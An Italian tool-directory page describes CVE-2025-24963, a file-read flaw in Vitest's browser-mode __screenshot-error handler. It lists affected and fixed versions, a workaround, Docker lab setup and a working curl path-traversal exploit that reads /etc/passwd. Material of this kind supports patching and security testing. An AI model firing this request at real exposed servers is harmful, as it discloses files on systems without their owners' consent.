Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-24963 — Exploit proof-of-concept per CVE-2025-24963, una vulnerabilità di lettura di file locali in modalità browser di Vitest tramite il gestore __screenshot-error, che consente la divulgazione arbitraria di file su server esposti. | Kitploit
Strumenti/GitHubGitHub/hiteshpatra/cve-2025-24963
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubhiteshpatra/cve-2025-24963

CVE-2025-24963

Exploit proof-of-concept per CVE-2025-24963, una vulnerabilità di lettura di file locali in modalità browser di Vitest tramite il gestore __screenshot-error, che consente la divulgazione arbitraria di file su server esposti.

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-24963 - Modalità Browser di Vitest - Lettura di File Locali

​CVE-2025-24963 è una vulnerabilità di gravità media (punteggio CVSS 3.1: 5.9) che interessa il pacchetto @vitest/browser, un componente del framework di test Vitest basato su Vite. Questa vulnerabilità deriva da una convalida impropria dell'input nel gestore __screenshot-error del server HTTP in modalità browser. Quando il server è esposto alla rete utilizzando l'opzione di configurazione browser.api.host: true, un attaccante può inviare richieste appositamente predisposte per accedere a file arbitrari sul file system del server, portando potenzialmente alla divulgazione non autorizzata di informazioni sensibili.

Versioni Interessate

La vulnerabilità interessa le seguenti versioni di @vitest/browser:​

  • 2.0.4 to 2.1.8
  • 3.0.0 to 3.0.3​

Mitigazione

Questo problema è stato risolto nelle versioni 2.1.9 e 3.0.4. Si consiglia vivamente agli utenti di aggiornare a queste versioni o successive per mitigare la vulnerabilità.​

Soluzione Alternativa

Se l'aggiornamento immediato non è possibile, una soluzione temporanea consiste nell'evitare di esporre il server in modalità browser alla rete, non impostando browser.api.host: true nella configurazione. Questo impedirà l'accesso esterno al gestore vulnerabile.

Preparazione dell'Ambiente

root@kitploit:~
git clone https://github.com/0xdeviner/CVE-2025-24963.git
cd CVE-2025-24963/vitest-vuln-demo
docker build -t vitest-cve-2025-24963 .
docker run -itd --name vitest-cve -p 63315:63315 vitest-cve-2025-24963

Nota: La porta utilizzata da Vitest è dinamica (ad esempio 63315). Potrebbe essere necessario monitorare i log e regolare di conseguenza il flag -p.

Exploit

root@kitploit:~
curl "http://<IP>:63315/__screenshot-error?file=../../../../../../etc/passwd"
Scarica lo strumento